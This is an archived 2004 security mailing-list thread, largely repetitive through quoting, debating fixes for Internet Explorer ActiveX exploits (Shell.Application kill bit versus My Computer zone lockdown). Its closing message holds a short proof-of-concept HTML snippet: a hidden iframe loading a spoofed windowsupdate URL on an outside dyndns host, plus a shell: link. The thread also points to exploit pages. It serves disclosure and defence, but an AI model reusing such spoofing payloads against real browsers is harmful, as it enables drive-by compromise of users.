Onderwerp: Registry Fix For Variant of Scob

About the same time Jelmer found the adodb bug, http-equiv
found a similiar issue with the object "Shell.Application".

This issue has also been unfixed for the past ten months.

Unfortunately, Microsoft has not taken the "hint" and not
fixed this issue either.

Jelmer has noted this and made a proof of concept exploit
page here:
http://62.131.86.111/security/idiots.../installer.htm =20

The below registry file will protect you from this exploit
by kill biting "Shell.Application" variant.

<------------------------------------------->
Windows Registry Editor Version 5.00=20

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX
Compatibility\{13709620-C279-11CE-A49E-444553540000}]
"Compatibility Flags"=3Ddword:00000400
<-------------------------------------------->

I will be updating our free fix download here:
http://www.eeye.com/html/research/al...L20040610.html

This will break some hta scripts that might be used
for management. It may cause some incompatibility issues
with some programs.

Shell.Application is commonly used by administrators
for administration of systems via Visual basic script
or WSH. It may have other uses. It is kind of Microsoft's
answer to shell script -- though not as happy as batch.

Setting the kill bit on the "Shell.Application" ActiveX object, or any
other ActiveX, is a system wide configuration change. This is also the
reason for the incompatibility issues you are mentioning, but there is
no reason to kill the bird to secure the nest.

The problem here is not the ADODB.Stream or Shell.Application objects,
the problem is the insecure My Computer zone in Internet Explorer. Your
registry fix will have adverse functionality regressions on any Windows
administrator that use WSH when there is no reason for this. ActiveX
objects are used in many hosts of which IE is just one, others include
Jscript, VBScript, HTML Applications and WSH, all of which run outside
of the browser and require executional privileges to launch in the first
place.

The prerequisite for even having privileges enough to launch the
Shell.Application ActiveX object inside IE is to have script running in
the My Computer zone. Locking down this zone will completely prevent
this exploit, without introduing functionality regressions in other
parts of Windows. In fact, if you had implemented the registry changes I
described back in early September 2003 you would have been safe against
all the command execution vulnerabilities that have subsequently been
discovered - including ADODB.Stream and Shell.Application who are
themselves just minor components of a larger exploit prerequisite.

http://www.securityfocus.com/archive...0/2003-12-06/0

I am sure that tomorrow, next week and next month we will find even more
ways to exploit insecure zone privileges in IE. You can either try to
fix the root cause once or you can try to treat each new symptom as it
is discovered.

There is no need to hurridly introduce last-minute system wide
functionality regressions such as killbitting Shell.Application, all you
need to do is lock down the My Computer zone in IE properly. We
implemented this in Qwik-Fix last September and have since then not had
to worry about exploits that target these design principles in IE.
Instead, we have been able to focus our efforts on securing other parts
of Windows as opposed to scramble to cope up with each new exploit from
jelmer or http-equiv. You can get a free copy of Qwik-Fix Pro at

http://qwik-fix.net

All software is inherently insecure, the difference is in how you treat
that insecurity.=20


Regards

Thor Larholm
Senior Security Researcher
PivX Solutions
24 Corporate Plaza #180
Newport Beach, CA 92660
http://www.pivx.com
thor@pivx.com
Stock symbol: (PIVX)
Phone: +1 (949) 231-8496
PGP: 0x5A276569
6BB1 B77F CB62 0D3D 5A82 C65D E1A4 157C 5A27 6569

PivX defines a new genre in Desktop Security: Proactive Threat
Mitigation.=20
<http://www.pivx.com/qwikfix>
-----Original Message-----
From: Drew Copley [mailto:dcopley@eEye.com]=20
Sent: Friday, July 02, 2004 2:33 PM
To: Windows NTBugtraq Mailing List; bugtraq@securityfocus.com
Subject: Registry Fix For Variant of Scob


About the same time Jelmer found the adodb bug, http-equiv found a
similiar issue with the object "Shell.Application".

This issue has also been unfixed for the past ten months.

Unfortunately, Microsoft has not taken the "hint" and not
fixed this issue either.

Jelmer has noted this and made a proof of concept exploit
page here: http://62.131.86.111/security/idiots.../installer.htm


The below registry file will protect you from this exploit
by kill biting "Shell.Application" variant.

<------------------------------------------->
Windows Registry Editor Version 5.00=20

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX
Compatibility\{13709620-C279-11CE-A49E-444553540000}]
"Compatibility Flags"=3Ddword:00000400
<-------------------------------------------->

I will be updating our free fix download here:
http://www.eeye.com/html/research/al...L20040610.html

This will break some hta scripts that might be used
for management. It may cause some incompatibility issues
with some programs.

Shell.Application is commonly used by administrators
for administration of systems via Visual basic script
or WSH. It may have other uses. It is kind of Microsoft's answer to
shell script -- though not as happy as batch.

No reason to set the kill bit?

Take a look at
http://seclists.org/lists/fulldisclo.../Jun/0318.html

And I am quoting you now

"You should be able to use this to compromise Windows XP SP2 through
Internet Explorer despite the My Computer zone hardening since the
Trusted Sites Zone has all of the privileges you need to plant and
execute a file."

(I have no idea if this is correct btw, sp2 hasn't touched my system yet)

So what's it going to be Thor

Do you want to retract the aforementioned statement
Or this post

You can't have it both ways you know

--jelmer


-----Original Message-----
From: Thor Larholm [mailto:thor@pivx.com]
Sent: zondag 4 juli 2004 0:48
To: Drew Copley; Windows NTBugtraq Mailing List; bugtraq@securityfocus.com
Subject: RE: Registry Fix For Variant of Scob

Setting the kill bit on the "Shell.Application" ActiveX object, or any
other ActiveX, is a system wide configuration change. This is also the
reason for the incompatibility issues you are mentioning, but there is
no reason to kill the bird to secure the nest.

The problem here is not the ADODB.Stream or Shell.Application objects,
the problem is the insecure My Computer zone in Internet Explorer. Your
registry fix will have adverse functionality regressions on any Windows
administrator that use WSH when there is no reason for this. ActiveX
objects are used in many hosts of which IE is just one, others include
Jscript, VBScript, HTML Applications and WSH, all of which run outside
of the browser and require executional privileges to launch in the first
place.

The prerequisite for even having privileges enough to launch the
Shell.Application ActiveX object inside IE is to have script running in
the My Computer zone. Locking down this zone will completely prevent
this exploit, without introduing functionality regressions in other
parts of Windows. In fact, if you had implemented the registry changes I
described back in early September 2003 you would have been safe against
all the command execution vulnerabilities that have subsequently been
discovered - including ADODB.Stream and Shell.Application who are
themselves just minor components of a larger exploit prerequisite.

http://www.securityfocus.com/archive...0/2003-12-06/0

I am sure that tomorrow, next week and next month we will find even more
ways to exploit insecure zone privileges in IE. You can either try to
fix the root cause once or you can try to treat each new symptom as it
is discovered.

There is no need to hurridly introduce last-minute system wide
functionality regressions such as killbitting Shell.Application, all you
need to do is lock down the My Computer zone in IE properly. We
implemented this in Qwik-Fix last September and have since then not had
to worry about exploits that target these design principles in IE.
Instead, we have been able to focus our efforts on securing other parts
of Windows as opposed to scramble to cope up with each new exploit from
jelmer or http-equiv. You can get a free copy of Qwik-Fix Pro at

http://qwik-fix.net

All software is inherently insecure, the difference is in how you treat
that insecurity.


Regards

Thor Larholm
Senior Security Researcher
PivX Solutions
24 Corporate Plaza #180
Newport Beach, CA 92660
http://www.pivx.com
thor@pivx.com
Stock symbol: (PIVX)
Phone: +1 (949) 231-8496
PGP: 0x5A276569
6BB1 B77F CB62 0D3D 5A82 C65D E1A4 157C 5A27 6569

PivX defines a new genre in Desktop Security: Proactive Threat
Mitigation.
<http://www.pivx.com/qwikfix>
-----Original Message-----
From: Drew Copley [mailto:dcopley@eEye.com]
Sent: Friday, July 02, 2004 2:33 PM
To: Windows NTBugtraq Mailing List; bugtraq@securityfocus.com
Subject: Registry Fix For Variant of Scob


About the same time Jelmer found the adodb bug, http-equiv found a
similiar issue with the object "Shell.Application".

This issue has also been unfixed for the past ten months.

Unfortunately, Microsoft has not taken the "hint" and not
fixed this issue either.

Jelmer has noted this and made a proof of concept exploit
page here: http://62.131.86.111/security/idiots.../installer.htm


The below registry file will protect you from this exploit
by kill biting "Shell.Application" variant.

<------------------------------------------->
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX
Compatibility\{13709620-C279-11CE-A49E-444553540000}]
"Compatibility Flags"=dword:00000400
<-------------------------------------------->

I will be updating our free fix download here:
http://www.eeye.com/html/research/al...L20040610.html

This will break some hta scripts that might be used
for management. It may cause some incompatibility issues
with some programs.

Shell.Application is commonly used by administrators
for administration of systems via Visual basic script
or WSH. It may have other uses. It is kind of Microsoft's answer to
shell script -- though not as happy as batch.

> -----Original Message-----
> From: Thor Larholm=20
> Sent: Saturday, July 03, 2004 3:47 PM
> To: 'Drew Copley'; 'Windows NTBugtraq Mailing List';
> 'bugtraq@securityfocus.com'
> Subject: RE: Registry Fix For Variant of Scob
>=20
>=20
> Setting the kill bit on the "Shell.Application" ActiveX object, or any
> other ActiveX, is a system wide configuration change. This is also the
> reason for the incompatibility issues you are mentioning, but there is
> no reason to kill the bird to secure the nest.
>=20
> The problem here is not the ADODB.Stream or Shell.Application objects,
> the problem is the insecure My Computer zone in Internet=20
> Explorer. Your
> registry fix will have adverse functionality regressions on=20
> any Windows
> administrator that use WSH when there is no reason for this.

<snip>

I noted this in my paper.

I noted in a reply to a post that hardening the Local Zone can
also cause problems. A lot of applications use this zone.

The reason killbitting was considered a "workaround" was because
it was always a "workaround" until Microsoft fixed the issue.

My viewpoint is the activex is flawed. The development of it
and the QA of it. So, it should be removed, because of the
security issue... until Microsoft fixes the issue and retests
the activex for further variants.

"My Computer Zone", ultimately, should be hardened, but without
removing functionality, in my opinion. What I have been asking
from Microsoft - and expect to get - is that they add it to
the security interface.

And further, that they make their security interface easy to
use. As it stands it has almost no help, and the definitions
are completely unwieldy. It is absurd. They do the xbox well,
why can't they do this well?

So, let's add that suggestion there, too.

Because it is sorely needed.=20

<!--

No reason to set the kill bit?

Take a look at
http://seclists.org/lists/fulldisclo.../Jun/0318.html

And I am quoting you now

"You should be able to use this to compromise Windows XP SP2
through Internet Explorer despite the My Computer zone hardening
since the Trusted Sites Zone has all of the privileges you need
to plant and execute a file."

-->

"A little experience often upsets a lot of theory" as the quote
goes.


The so-called 'Trusted Zone' setting is by default 'LOW". It has
long been the recommendation of one particlar party to suggest
that in order to 'safely use the internet' deny everything else
and allow only those that you trust. For example,
windowsupdate.com, perhaps the holy shrine of this all:

[screen sh http://www.malware.com/ihaveabridgeforsale.png
40KB]

all we then need to do and note that this is not the 'My
Computer' Zone is sprinkle a bit of our magic dns into the nest,
stir in a dollop of ActiveX and POOF ! magic:


<center><br><br><img src="nocigar.gif"></center>
<center>
<a href="shell:windows\snakeoil.txt">who goes there</a></center>
<iframe src="http://windowsupdate.microsoft.com%2F.http-
equiv.dyndns.org/~http-equiv/b*llsh*t.html" style="display:none">

[customise as you see fit]

http://www.malware.com/stockpump.html

USE THE KILL BIT PEOPLE ! Slaughter all the birds and crush all
the eggs. Wipe the species out and forget about the nest
forever !

There ain't no 'quick nothing' to any of this.


"The want of money is the root of all evil" was the other quote.


--
http://www.malware.com